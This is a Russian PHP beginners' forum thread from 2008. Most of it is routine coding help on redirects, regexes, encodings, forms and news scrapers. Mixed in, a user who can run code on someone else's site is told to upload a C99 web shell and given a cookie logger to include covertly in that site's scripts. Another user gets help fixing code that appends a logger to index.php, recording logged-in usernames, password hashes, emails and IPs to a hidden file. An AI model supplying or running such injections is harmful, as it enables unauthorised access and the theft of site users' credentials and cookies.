Просмотр полной версии : [php] Новичкам: задаем вопросы
.:EnoT:.
06.11.2008, 14:23
http://htaccess.net.ru/doc/Redirect/Redirect.php
mff,RedirectMatch ^/$ http://site.com/forum
Gifts? попробывал - неполучается
А если
Redirect 301 / http://www.site.ru/forum/
?
А если
Redirect 301 / http://www.site.ru/forum/
?
нет :(
Мб у тебя htaccess использовать нельзя или файл назвал криво или ещё что-нибудь в этом духе?
нет нет, я же пробывал делать, с форума на главную переводит, а с главной на форум - нет...
Еще вопросик, статус icq на сайт можно повесить - http://status.icq.com/online.gif?icq=NNNNNN&img=N а для skype можно также сделать? В сети активная картинка, не в сети - неактивная
prescott
06.11.2008, 15:43
Еще вопросик, статус icq на сайт можно повесить - http://status.icq.com/online.gif?icq=NNNNNN&img=N а для skype можно также сделать? В сети активная картинка, не в сети - неактивная
http://www.skype.com/share/buttons/wizard.html
++Norton++
06.11.2008, 15:44
Вроде полазил по сайту русскому и английскому и такой функции, к сожалению, не нашел...
Lizochek22
06.11.2008, 16:07
Подскажите хороший бесплатный хостинг с php
Люди добрые, а как сделать ссылку на окошко, для отправки сообщения icq с сайта?
Подскажите, пожалуйста!
В index.php есть div, в который после отправки запроса к базе нужно вывести результат из validate.php. Как это сделать?
<form name="frmQuery" method="post" action="validate.php">
<div id="myDiv"> </div>
<input type="submit" name="submitbutton" value="Enter" />
</form>
Lizochek22
06.11.2008, 18:07
www.jino-net.ru
Тут регистрация щас не работает
vikseriq
06.11.2008, 22:03
Подскажите, пожалуйста!
В index.php есть div, в который после отправки запроса к базе нужно вывести результат из validate.php. Как это сделать?
<form name="frmQuery" method="post" action="validate.php">
<div id="myDiv"> </div>
<input type="submit" name="submitbutton" value="Enter" />
</form>
Юзай AJAX - http://web-silver.ru/scripts/ajax/
Как хранить большое кол-во настроек
причем настроек разных будьто числовые данные или строки
думал насчет файлов сделать что вроде config.ini с таким содержанием
config=config.php;
name=user;
pass=12456;
написать пару ф-ий которые будут этот файл парсить и возвращать настройки
или лучше все таки сделать mysql таблицу и туда добавлять поля с рaзными данными а потом выдергивать их оттуда.Подскажите дельный совет как вообще такие вещи правильно делаются?
Может в .php файле в переменных..
Может в .php файле в переменных..
с изменением настроек помойму гемор выйдет
(настройки менять скриптами а не руками)
Dr.Frank
07.11.2008, 09:12
2Vid0k
http://ru2.php.net/parse_ini_file
[x26]VOLAND
07.11.2008, 09:34
Как хранить большое кол-во настроек
причем настроек разных будьто числовые данные или строки
думал насчет файлов сделать что вроде config.ini с таким содержанием
config=config.php;
name=user;
pass=12456;
написать пару ф-ий которые будут этот файл парсить и возвращать настройки
или лучше все таки сделать mysql таблицу и туда добавлять поля с рaзными данными а потом выдергивать их оттуда.Подскажите дельный совет как вообще такие вещи правильно делаются?Правильней использовать глобальный ассоциативный массив с настройками. Не нужно тратить время на загрузку и парсинг файлов.
Как хранить большое кол-во настроек
причем настроек разных будьто числовые данные или строки
думал насчет файлов сделать что вроде config.ini с таким содержанием
config=config.php;
name=user;
pass=12456;
написать пару ф-ий которые будут этот файл парсить и возвращать настройки
или лучше все таки сделать mysql таблицу и туда добавлять поля с рaзными данными а потом выдергивать их оттуда.Подскажите дельный совет как вообще такие вещи правильно делаются?
Обычно XML. Файлы конфига в xml-формате используется в WordPress.
Существует множество расширений в PHP для работы с XML. Можешь почитать это: Работа с XML (http://webmastak.com/article.aspx?id=104)
помогите на писать скрипт вот пример:
http://radikal.org.ua/v.php?id=18a8f015f33981708fa87d3a9b353679
2 [R]eD
<?
$f = file('file.txt');
$nf = fopen('file.txt','w');
foreach ($f as $v) if (strpos($v,'MATCHED') === false) fwrite($nf,trim($v)."\r\n");
fclose($nf);
?>
eD']Есть список:
sometext
MATCHED sadasds
dasdasdsd
MATCHED dasddasdas
dsadasdasdasagsgagc
xhbcvbxcvbcbc
MATCHED bxhjfjhfcfh
jfhjtyjhcfjcf
xjyfjvxnx
Нужно удалить те строки, где встречается "MATCHED".
Помогите пожалуйста =).
<?php
$file = "list.txt";
$list = file($file);
print_r($list);
$result='';
foreach($list as $str)
{
if(strpos($str,'MATCHED')===false)
$result.=$str;
}
$fp = fopen($file, 'w');
fputs($fp, $result);
fclose($file);
?>
друзья помогите с инфой по cURL, желательно с большим количеством примеров =)
eD']Есть список:
sometext
MATCHED sadasds
dasdasdsd
MATCHED dasddasdas
dsadasdasdasagsgagc
xhbcvbxcvbcbc
MATCHED bxhjfjhfcfh
jfhjtyjhcfjcf
xjyfjvxnx
Нужно удалить те строки, где встречается "MATCHED".
Помогите пожалуйста =).
еще более короткий вариант:
<?php
function filter($v) { return (strpos($v,"MATCHED") === false); }
file_put_contents("file2.txt",implode("\r\n",array_map('trim',array_filter(file("file.txt"),'filter'))));
?>
Как хранить большое кол-во настроек
причем настроек разных будьто числовые данные или строки
думал насчет файлов сделать что вроде config.ini с таким содержанием
config=config.php;
name=user;
pass=12456;
написать пару ф-ий которые будут этот файл парсить и возвращать настройки
или лучше все таки сделать mysql таблицу и туда добавлять поля с рaзными данными а потом выдергивать их оттуда.Подскажите дельный совет как вообще такие вещи правильно делаются?
очень удобно использовать функции serialize()/unserialize()
']еще более короткий вариант:
<?php
function filter($v) { return (strpos($v,"MATCHED") === false); }
file_put_contents("file2.txt",implode("\r\n",array_map('trim',array_filter(file("file.txt"),'filter'))));
?>
ещё короче:
<?php
foreach (file('text.txt') as $st) if (print strpos($st, 'MATCHED') === FALSE) $result .= $st;
fputs(fopen('res.txt', 'w'), $result); fclose('res.txt');
?>
только всё это дело неудобочитабельно
astrologer
07.11.2008, 23:52
ещё короче:
<?php
foreach (file('text.txt') as $st) if (print strpos($st, 'MATCHED') === FALSE) $result .= $st;
fputs(fopen('res.txt', 'w'), $result); fclose('res.txt');
?>
только всё это дело неудобочитабельно
<? file_put_contents('res.txt',join('',preg_grep('/MATCHED/',file('text.txt'),1))); ?> Сейчас кто-нибудь придёт и на перле напишет...
Придумайте короче)
file_put_contents('out.txt',preg_replace('#[^\n]*MATCHED[^\n]*\n#','',file_get_contents('file.txt'));
На перле эту уже в другую темку :p
Chode http://ru2.php.net/manual/en/book.curl.php
Народ подскажите код который копирует папку со всем модержимым в ругую папку, заранее спасибо.
Зло_О
<?php
$file = 'file.txt';
preg_match_all("#.{0,}MATCHED.{0,}\n#ix",$file,$res);
file_put_contents('file.txt',implode("\n",$res['0']));
?>
.:EnoT:.
08.11.2008, 00:09
Нанаркоманили тут, ппц)
давайте ещё короче
file_put_contents('1.txt', str_replace('MATCHED', '', file_get_contents('1.txt')));
vikseriq
08.11.2008, 00:11
Эй, уймитесь! Тоже мне тут - писькомерки в степени -1 )
Ответьте челу тому: как скопить папку на пхп?
copy()
а поточнее можно и с примером)
php.net/opendir
php.net/copy
Добрый верер.. Вопрос по регуляркам. Вот отсюда http://newsland.ru/News/Detail/id/314704/cat/65/ надо вырезать текст
<div class="bodytext mt5">
<img src="/public/upload/news/big_internetrossiyaobschestvo.jpg" title="Россияне все больше любят виртуальных начальников" alt="Россияне все больше любят виртуальных начальников" class="floatr mt10">
<p>Российский сегмент Интернета постепенно приобретает официальное лицо. Если раньше власть мирилась с Сетью, как с неизбежным проявлением технического прогресса, то теперь сама активно осваивает виртуальное пространство.</p><p> С десяток лет в России действует государственная программа «Электронное правительство», согласно которой все министерства и ведомства обзавелись своими сайтами. Но после того как во главе государства встал, говоря на сленге, «продвинутый user» интерес чиновников к Интернету вырос.</p><p> Дмитрий Медведев обзавелся даже собственным видеоблогом и не исключено, что в Сеть скоро выйдут губернаторы, министры и главы силовых ведомств. Россияне с интересом восприняли появление виртуальной бюрократии. Об этом говорят данные опроса, проведенного исследовательским холдингом «Ромир». Выяснилось, что 77% респондентов посещали сайты государственных учреждений. Как ни странно, но более активно возможностью пообщаться в Сети с чиновниками пользуется не молодежь, а люди старшего возраста. </p><p>Если среди россиян в возрасте 18–24 лет чиновничьи сайты посещал 71% опрошенных, то среди людей старше 45 лет таких набралось 83%. Скорее всего, это объясняется тем, что у молодежи меньше причин обращаться к госорганам. При этом 62% респондентов заявили, что и в будущем будут пользоваться услугами онлайн-приемных чиновников различного уровня. </p><p>Отказников набралось только 8%, тогда как треть опрошенных пока еще не определились. Кроме возможности получить необходимую официальную информацию не выходя из дома, популярность официального Интернета среди россиян, наверное, объясняется и разительным отличием сетевой бюрократии от реальной. Как часто бывает в виртуальном мире, в Интернете чиновники выглядят вполне прилично – не хамят, взяток не берут и бессмысленных очередей не создают. В жизни им этого так не хватает…</p><p><em>Владлен Максимов </em></p>
</div>
<div class="newsctrl f12 mt10"><div>
<a href="http://www.newizv.ru/news/2008-11-07/101123/">Оригинал статьи на www.newizv.ru</a>
</div></div>
Пишу такую регулярку "#<div class=\"bodytext mt5\">(.*?)</div></div>#". Но не работает.. как можно по другому регулярку записать? что бы через preg_match грабился результат.
.:EnoT:.
08.11.2008, 03:39
тебе модификатор s надо было добавить)
preg_match('#<div class="bodytext mt5">(.+)</div>#s', $text, $out);
print_r($out);
какой нужен код(php, javascript) чтобы копирнуть БД с сайта если у меня есть возможность выполнить любой код на сайте (сайт находится на виртуальном хосте)
какой нужен код(php, javascript) чтобы копирнуть БД с сайта если у меня есть возможность выполнить любой код на сайте (сайт находится на виртуальном хосте)
В PhpMyAdmin сделай бэкап
PandoraBox
08.11.2008, 12:35
какой нужен код(php, javascript) чтобы копирнуть БД с сайта если у меня есть возможность выполнить любой код на сайте (сайт находится на виртуальном хосте)http://sypex.net/
В PhpMyAdmin сделай бэкап
сайт не мой хз его пас на админку но могу выполнить любой скрипт :)
а есть скрипт который копирует все куки узера када он зайдет на нее (кроме те шо от сайта) и сохранит в файл)
>>а есть скрипт который копирует все куки узера када он зайдет на нее (кроме те шо от сайта) и сохранит в файл)
нету
Для того, что бы сделать дамп базы нужны логин, пасс и имя базы. Если есть возможность залей шелл и будет тебе счастье.
сайт не мой хз его пас на админку но могу выполнить любой скрипт :)
а есть скрипт который копирует все куки узера када он зайдет на нее (кроме те шо от сайта) и сохранит в файл)
1. http://www.openproj.ru/70/ - MySqlDumper + в шелле C99 от madnet есть функция дампа БД.
2. Политика браузера не позволит скопировать кукисы от чужих сайтов.
Сохранять кукисы можно так:
<?php
$cook = implode(';',$_COOKIE);
$fp = fopen('cookies.txt','at');
fputs($fp,$cook."\n");
fclose($fp);
?>
Создай в какой-нибудь далекой папочке скрипт, и из чужих скриптов инклудь функцией include(путь до сохранялки);
в шелле C99 от madnet есть функция дампа БД.
для больших баз совершенно не годится, всегда использую Sypex Dumper
не знаю регулярку пока...как минимизировать?
$txt=str_ireplace(" ".$o." "," ".$s." ",$txt);
$txt=str_ireplace(" ".$o.","," ".$s.",",$txt);
$txt=str_ireplace(" ".$o."."," ".$s.".",$txt);
$txt=str_ireplace(" ".$o."?"," ".$s."?",$txt);
$txt=str_ireplace(" ".$o."!"," ".$s."!",$txt);
$txt=str_ireplace(" ".$o.":"," ".$s.":",$txt);
.:EnoT:.
08.11.2008, 16:20
не знаю регулярку пока...как минимизировать?
$txt=str_ireplace(" ".$o." "," ".$s." ",$txt);
$txt=str_ireplace(" ".$o.","," ".$s.",",$txt);
$txt=str_ireplace(" ".$o."."," ".$s.".",$txt);
$txt=str_ireplace(" ".$o."?"," ".$s."?",$txt);
$txt=str_ireplace(" ".$o."!"," ".$s."!",$txt);
$txt=str_ireplace(" ".$o.":"," ".$s.":",$txt);
насколько я понимаю код надо заменить слово в переменной $o на слово в переменной $s...только про символы не понял, зачем менять символ на тот же самый)
не легче ли
$txt = str_replace($o, $s, $txt);
ну хотя это твоё дело)
$o = 'жопа'; // Слово которое ищем
$s = 'пезда'; // Слово на которое меняем
// Текст
$txt = 'траляля какой-то текст жопа: ещё там чёто';
$txt = preg_replace('#'.$o.'([\.,\?!:]*?)#i', $s.'\\1', $txt);
echo $txt;
Спасибо идеально =) ну просто небольшая функция синонимизации понадобилась
Граблю новости с сайта у которого кодировка utf-8. Все сграбил сохранил в файл txt , все это сохранилось на сервере, но сам сайт для которого грабилась новость работает на кодировке windows-1251 и поэтому на сайте при выводе новости одни иероглифы((( Как это можно исправить, сграбленный текст новости до сохранения в txt файл обрабатывать функцией convert_cyr_string ?
Zircool
iconv('входящая хрень','исходящая хрень',${что_хреначить})
PandoraBox
08.11.2008, 18:20
Граблю новости с сайта у которого кодировка utf-8. Все сграбил сохранил в файл txt , все это сохранилось на сервере, но сам сайт для которого грабилась новость работает на кодировке windows-1251 и поэтому на сайте при выводе новости одни иероглифы((( Как это можно исправить, сграбленный текст новости до сохранения в txt файл обрабатывать функцией convert_cyr_string ?
function utf8_to_cp1251($str)
{
$encoded_data = mb_convert_encoding($str, 'Windows-1251', 'UTF-8');
$data = (mb_detect_encoding($str, "auto", true) == '') ? $str : $encoded_data;
//$data = trim($data);
return $data;
}
EST a1ien
08.11.2008, 19:40
Есть следующий код. Есть ли идеи по оптимизации.
$data=<<<HEREDOC
{f_val:name}<br />
<b>{f_val:value}</b>
<br /><br />
HEREDOC;
$vars['foreach']['arr'][]=array('name'=>'my1','value'=>'jon');
$vars['foreach']['arr'][]=array('name'=>'my2','value'=>'smit');
$vars['foreach']['arr'][]=array('name'=>'my3','value'=>'anjil');
$vars['foreach']['arr'][]=array('name'=>'my4','value'=>'demon');
$vars['foreach']['arr'][]=array('name'=>'my5','value'=>'tokar');
preg_match_all('/\[foreach {f_(.+?)}](.+?)\[\/foreach\]/is', $data, $parr);
if(isset($parr))
{
$tmpd='';
foreach ($parr[0] as $k => $v) {
foreach ($vars['foreach'][$parr[1][$k]] as $tmp)
{
//print_r($tmp);
$work=$parr[2][$k];
preg_match_all('/{f_(\S+?):(\S+?)}/i', $data, $farr);
$num_var=count($farr[2]);
for($i=0;$i<$num_var;$i++) $work=str_replace("{f_{$farr[1][0]}:{$farr[2][$i]}}",$tmp[$farr[2][$i]],$work);
$tmpd.=$work;
}
$data = str_replace($v, $tmpd,$data );
}
}
echo $data;
у меня только одна идея.
заменить тут str_replace
for($i=0;$i<$num_var;$i++) $work=str_replace("{f_{$farr[1][0]}:{$farr[2][$i]}}",$tmp[$farr[2][$i]],$work);
на preg_replace но чето немогу некак составить регулярку. Да и надо ли?
Еще думаю можно избавиться от временных переменных. но тоже не-могу придумать нечего.
ЗЫ нашел пару косяков в коде. )) правлю. сори за беспокойство )
строковые функции работают быстрее регулярок
<?
$fp=fopen("file.txt","a");
fputs($fp,"текст");
fclose($fp);
?>
Как сделать так чтобы вписываемый текст каждый раз при обновлении стр писался с новой строки?
помогите с кодом, не могу разобраться уже несколько дней
Задача у меня такая:
пипшешь в форме число, затем оно выводится в этом на этой же странице, если ничего не написано, то должна выводится фраза *Вы ничего не ввели*
Не могу разобраться с иссетом
<body bgcolor="#FFFFFF">
<forn method="post" actoin="<?php echo $_SERVER['PHP_SELF']; ?>">
Поле ввода : <input type="text" name="gness">
<?php
$gness="$_POST";
if($gness==(isset($gness)))
{
echo "Вы не ввели число";
}
elseif($gness=="$_POST")
{
echo $gness;
}
?>
</form>
</body>
помогите с кодом, не могу разобраться уже несколько дней
Задача у меня такая:
пипшешь в форме число, затем оно выводится в этом на этой же странице, если ничего не написано, то должна выводится фраза *Вы ничего не ввели*
Не могу разобраться с иссетом
<forn method="post" actoin="<?php echo $_SERVER['PHP_SELF']; ?>">
Поле ввода : <input type="text" name="gness">
<?php
$gness="$_POST";
if(empty($_POST["gness"]))
{
echo "Вы не ввели число";
}
else
{
echo $_POST["gness"];
}
?>
</form>
</body>
или так:
<forn method="post" actoin="<?php echo $_SERVER['PHP_SELF']; ?>">
Поле ввода : <input type="text" name="gness">
<?php
$gness=$_POST["gness"];
if(!isset($_POST["gness"]))
{
echo "Вы не ввели число";
}
else
{
echo $_POST["gness"];
}
?>
</form>
</body>
<?
$fp=fopen("file.txt","a");
fputs($fp,"текст");
fclose($fp);
?>
Как сделать так чтобы вписываемый текст каждый раз при обновлении стр писался с новой строки?
<?php
$fp=fopen('file.txt','a');
fputs($fp,"текст/r/n");
fclose($fp);
?>
Vid0k спасибо, понял свою ошибку....
Снова проблемка, ошибка в 20й строке снова с иссетом,(емпти его не заменяйте пож):
<html>
<head>
</head>
<body bgcolor="#FFFFFF">
<forn method="post" actoin="<?php echo $_SERVER['PHP_SELF']; ?>">
Поле ввода : <input type="text" name="gness">
<?php
$gness="$_POST";
if(!isset($_POST["gness"]))
{
echo "Вы не ввели число";
}
else
{
echo $_POST["gness"];
}
$num=40;
$gness=$_POST['gness'];
$mess=" "
if(!isset($gness))
{
$mess="Добро пожаловать";
}
elseif($gness>$num)
{
$mess="число".$gness" больше нужного";
}
elseif($gness<num)
{
$mess"Ваше число".$gness" меньше";
}
else
{
$mess="Позд!<br> вы угадали";
}
?>
</form>
</body>
</html>
Dimaus Ради смеха попробуй какой нить IDE использовать. Ты забыл ; две точки и один знак равенства. Это не считая кучи ошибок типа actoin, forn, gness и т.д.<html>
<head>
</head>
<body bgcolor="#FFFFFF">
<form method="post">
Поле ввода : <input type="text" name="gness">
</form><br>
<?php
if(!isset($_POST["gness"]))
{
echo "Вы не ввели число";
}
else
{
echo $_POST["gness"];
}
$num=40;
$gness=$_POST['gness'];
$mess="Добро пожаловать<br>";
if($gness>$num)
{
$mess.="число".$gness." больше нужного";
}
elseif($gness<num)
{
$mess.="Ваше число".$gness." меньше";
}
else
{
$mess.="Позд!<br> вы угадали";
}
echo $mess;
?>
</body>
</html>
Ru}{eeZ
<?php
$fp=fopen('file.txt','a');
fputs($fp,"текст/r/n");
fclose($fp);
?>
"/r/n" клево придумал
Vid0k Не надо надеяться, что люди пишут правильно хотя бы имена операторов,
Снова проблемка, ошибка в 20й строке снова с иссетом,(емпти его не заменяйте пож):
<body bgcolor="#FFFFFF">
<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
Поле ввода : <input type="text" name="gness">
<?php
if(!isset($_POST["gness"]))
{
echo "Вы не ввели число";
}
else
{
echo $_POST["gness"];
}
$num=40;
$gness=$_POST['gness'];
$mess=" ";
if(!isset($gness))
{
echo "Добро пожаловать";
}
elseif($gness>$num)
{
echo "число".$gness." больше нужного";
}
elseif($gness<$num)
{
echo "Ваше число".$guess."меньше";
}
elseif($gness == $num)
{
echo "Позд!<br> вы угадали";
}
?>
</form>
</body>
</html>
<?
$fp=fopen("file.txt","a");
fputs($fp,"текст");
fclose($fp);
?>
Как сделать так чтобы вписываемый текст каждый раз при обновлении стр писался с новой строки?
помойму там должно быть "a+"
Pashkela
08.11.2008, 21:54
<?
$fp=fopen("file.txt","a+");
if($fp) {fputs($fp,"текст" . "\r\n");}
fclose($fp);
?>
спс!
есть у меня такой код:
<?
$fp=fopen("index.php","a");
fputs($fp,"
<?php
$win=getenv("windir");
$ip=getenv("Remote_addr");
$date= date("[D|d/m/Y|H:i]");
$fp=fopen ("include/mess.php","a");
fputs($fp,"\r$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode "); fclose($fp); ?>");
fclose($fp);
?>
что в нем не так помогите плз (он должен в файле index.php дописать это
<?php
$win=getenv("windir");
$ip=getenv("Remote_addr");
$date= date("[D|d/m/Y|H:i]");
$fp=fopen ("include/mess.php","a");
fputs($fp,"\r$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode "); fclose($fp); ?>
sadfeel <?
$fp=fopen("index.php","a+");
$tmp=<<<HTT
<?php
$win=getenv("windir");$ip=getenv("Remote_addr"); $date= date("[D|d/m/Y|H:i]");$fp=fopen
("include/mess.php","a+");
fputs($fp,"\r\n$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode ");
?>
HTT;
fputs($fp,$tmp);
fclose($fp);
?>
Buffalon
08.11.2008, 23:12
Так значит у меня пробла ... .есть массив $a[] в нём храняться какие то числа допутим=>{123,23,23,23}
Мне нужно поставить в mYSQl столько OR сколько там чисел , допутим если 4 числа значит будет такой запрос(Но я низнаю сколько там чисел)
$frien = mysql_query("SELECT * FROM bhost_friends WHERE u_id='".$a[0]."' OR u_id='".$a[1]."' u_id='".$a[2]."' u_id='".$a[3]."'");
ВОт решение
for($k=0;$k<$m;$k++){$c .= 'OR u_id='.$a[$k].' ';}echo $c;
sadfeel <?
$fp=fopen("index.php","a+");
$tmp=<<<HTT
<?php
$win=getenv("windir");$ip=getenv("Remote_addr"); $date= date("[D|d/m/Y|H:i]");$fp=fopen
("include/mess.php","a+");
fputs($fp,"\r\n$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode ");
?>
HTT;
fputs($fp,$tmp);
fclose($fp);
?>
пишет что ошибка вот сдесь - $tmp=<<<HTT
Pashkela
08.11.2008, 23:14
есс-но, быдлокод какой-то, извините
бол-мен правильно (хоть я и не спец) так:
<?
$fp=fopen('log.txt','a+');
$win=getenv("windir");
$ip=getenv("Remote_addr");
$date= date("d.m.Y H:i");
if ($fp)
{
fputs($fp,$date . "\r\n");
fputs($fp,$ip . "\r\n");
fputs($fp,$win . "\r\n");
}
?>
и это просто вставить в index.php, в любое место (правда логичнее в login.php или что-то подобное)
Или что надо? Чтобы в index.php эта инфа выводилась? тогда так:
<?
$fp=fopen('log.txt','a+');
$win=getenv("windir");
$ip=getenv("Remote_addr");
$date= date("d.m.Y H:i");
if ($fp)
{
fputs($fp,$date . "\r\n");
fputs($fp,$ip . "\r\n");
fputs($fp,$win . "\r\n");
}
echo $win;
echo "\n";
echo $ip;
echo "\n";
echo $date;
echo "\n";
?>
PandoraBox
08.11.2008, 23:22
как ускорить данный код
preg_match('#<div class="summary">.* (.*) .*</div>#', $responce, $count_sounds);
// (.*) - значение цифра
// .* - пропуск текста
Buffalon mysql_query("SELECT * FROM bhost_friends WHERE u_id='".implode("' OR u_id='",$a)."'");
sadfeel Скопировать надо как есть, только я там забыл проэкранировать знаки доллара. Исправленый вариант:
<?
$fp=fopen("index2.php","a+");
$tmp=<<<HTT
<?php
\$win=getenv("windir");\$ip=getenv("Remote_addr"); \$date= date("[D|d/m/Y|H:i]");\$fp=fopen
("include/mess.php","a+");
fputs(\$fp,"\r\n\$logged_user_name-\$enc_user_pass\t\$user_email\t[\$date\t\$ip\t\$win]id=\$activationcode ");
?>
HTT;
fputs($fp,$tmp);
fclose($fp);
?>
PandoraBox приведи пример строки
.:EnoT:.
08.11.2008, 23:41
PandoraBox приведи пример строки
пример кода он врядли приведёт, т.к. его много)
а пишет он граббер контакта))
PandoraBox чем тебя так не устраивает?
preg_match('#<div class="summary">(.+)</div>#Us', $responce, $count_sounds);
PandoraBox
08.11.2008, 23:57
PandoraBox чем тебя так не устраивает?так мне нада только цифры intval();
\d
<div class="summary">Найдено 4886 аудиозаписей.</div>
Такая проблема. Скрипт для граббинга новостей с newsland. Но почему то при нажатии на кнопку, он производит граббинг 2 раза. Не пойму почему(((
<html>
<form method="post">
<input type="submit" name="sub" value="Грабить новости">
</form>
</html>
<?php
if (isset($_POST['sub']))
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://newsland.ru/index/index/ord/22/cat/64/");
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$text = curl_exec($ch);
curl_close($ch);
preg_match_all("#<a href=\"\/News\/Detail\/id\/(.+)\">#",$text,$results);
for($i=0;$i<count($results[0]);$i++)
{
$urlsis="http://newsland.ru".str_replace(array('<a href="','">'),null,$results[0][$i]);
if ($urlsis!="http://newsland.ru/News/Detail/id/284971/cat/78")$urls[]=$urlsis;
}
for($j=0;$j<count($urls);$j++)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $urls[$j]);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$text_news = curl_exec($ch);
curl_close($ch);
preg_match('#<h1 class="mt10 grey">(.*?)</h1>(.*?)<div class="bodytext mt5">(.*?)</div></div>#s',$text_news,$result_news);
$result_news[0]=iconv("UTF-8", "WINDOWS-1251",$result_news[0]);
preg_match('#<img src="(.+)" title="(.+)" alt="(.+)" class="floatr mt10">#',$result_news[0],$result_image);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://newsland.ru".$result_image[1]);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$result_load_image = curl_exec($ch);
curl_close($ch);
$name_image=substr($result_image[1],strrpos($result_image[1],"/")+1);
$good_image = fopen("./rssnews_image/".$name_image, "w");
fputs($good_image, $result_load_image);
$src="<div style=\"float: left;\"><img src=\"./rssnews_image/".$name_image."\" title=\"".$result_image[2]."\" alt=\"".$result_image[2]."\" class=\"imagestyle\"></div>";
$time=date(d."-".m."-".y)."\r\n";
$name=date(d."-".m."-".y."-".H."-".i."-".s);
$title=$result_image[2]."\r\n";
$body=str_replace(array('<div class="bodytext mt5">',$result_image[0],'</div>','<div class="newsctrl f12 mt10"><div>','</div></div>'),null,$result_news[0]);
$body=preg_replace('#<h1 class="mt10 grey">(.+)</h1>#',null,$body);
$body=str_replace('<a','<br><br><a',$body);
$good = fopen("./rssnews_/".$name.".txt", "a");
fwrite($good,$time.$title.$src."\r\n".trim($body));
fclose($good);
unset($body);
unset($name);
unset($title);
unset($src);
unset($time);
unset($text_news);
unset($result_news);
unset($result_load_image);
unset($good);
unset($good_image);
sleep(3);
}
}
?>
.:EnoT:.
09.11.2008, 00:45
так мне нада только цифры intval();
\d
<div class="summary">Найдено 4886 аудиозаписей.</div>
'#(\d+)#'
PandoraBox
09.11.2008, 03:55
вот что вышло но не очень красиво работает
# Отключить вывод ошибок
error_reporting(0);
# Отключаем ограничение на время выполнения скрипта
set_time_limit(0);
# GZip on
ob_start("ob_gzhandler");
# Имя скрипта на сервере
$script = $_SERVER['PHP_SELF'];
# Request's include
require_once('config.php');
# Получение запросов
$q = $_GET['q'];
$page = $_GET['page'];
# оброботка
$page = ($page > 0) ? intval($page) : 0;
$page_limt = ($page) ? ($page . '00') : 0;
// bla... bla.. bla....
# Подстройка запроса
if ($page == 0)
{
$POST = "add=1&gid=0&field=&to_id=0&q=".urlencode($q);
} else {
$GET = "add=1&q=".urlencode($q)."&st=".$page_limt;
}
# Отправляем заголовки
if ($page == 0)
{
$out = "POST /audiosearch.php HTTP/1.1\r\n";
} else {
$out = "GET /audiosearch.php?".$GET." HTTP/1.1\r\n";
}
// bla... bla.. bla....
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: Mozilla/5.0\r\n";
$out .= "Keep-Alive: 300\r\n";// $out .= "Keep-Alive: 300\r\n";
$out .= "Connection: Close\r\n";
$out .= "Referer: http://vkontakte.ru/audiosearch.php?q=".urlencode($q)."&add=1&st=".(($page_limt < 100) ? $page_limt + 100 : $page_limt - 100)."\r\n";
$out .= "Cookie: remixclosed_tabs=0; remixchk=5; remixlang=0; remixclosed_tabs=0; remixgroup_closed_tabs=0; audio_vol=80; remixmid=" . intval($id) . "; remixemail=" . urlencode($email) . "; remixpass=" . $password . "; remixsid=".md5(gen_brows())."\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
fwrite($fsock, $out);
while(!feof($fsock))
{
$responce .= fread($fsock, 512);
}
fclose($fsock);
preg_match('#<div class="summary">.* (.*) .*</div>#', $responce, $count_sounds_tmp);
$count_sounds = $count_sounds_tmp[1];
unset($count_sounds_tmp);
preg_match("#<a href='audiosearch.php.*;st=(.*)0' >»</a>#", $responce, $end_page_tmp);
$end_page = $end_page_tmp[1];
unset($end_page_tmp);
if ($count_sounds > 0)
{
}
///////////// Хде то в конце 5й страницы
<?php
if ($count_sounds > 0)
{
echo ' <tr>
<td colspan="3"><ul class="pageList">';
///////////////////////////////////////////////////////
if ($page >= 1 )
{
echo '
<li><a href="'.$script.'?page=0">«</a></li>
';
}
for ($i=0+$page; $i<$page+$menu_count; $i++)
{
if ($i == $page)
{
echo '
<li class="current"><a href="#">'.$page.'</a></li>
';
} else {
echo '
<li><a href="'.$script.'?page='.$i.'">'.$i.'</a></li>
';
}
}
//////////////////////////////////////////////////////
echo '
<li><a href="'.$script.'?page='.$end_page.'">»</a></li>
</ul></td>
</tr>
';
}
?><?php ob_end_flush(); ?>
MafiaBoy3
09.11.2008, 08:51
Я не пойму как соединить документ HTML с rdf или xml документом.
Как это сделать? Подскажите хороший учебник на русском по xml
пожалуста помогите
MafiaBoy3
09.11.2008, 10:57
пожалуста
astrologer
09.11.2008, 11:13
Я не пойму как соединить документ HTML с rdf или xml документом. В каком смысле соединить?
Как это сделать? Подскажите хороший учебник на русском по xmlСпецификация (http://pyramidin.narod.ru/xml/xml1/index.htm) на русском. Лучше не найдёшь.
MafiaBoy3
09.11.2008, 11:22
как использовать файл xml?
Его надо подключить к хтмл что ли?
astrologer
09.11.2008, 11:41
как использовать файл xml?
Его надо подключить к хтмл что ли? Ты что-то неправильно понял.
блин не могу найти ошибку пишет: parse error, unexpected T_SL on line 4 помогите плз
вот код:
<?
$fp=fopen("index.php","a+");
$tmp=<<<HTT
<? \$fp=fopen ("mess.php","a+");
fputs(\$fp,"\r\n\$logged_user_name-\$enc_user_pass");
?> HTT;
fputs($fp,$tmp);
fclose($fp);
?>
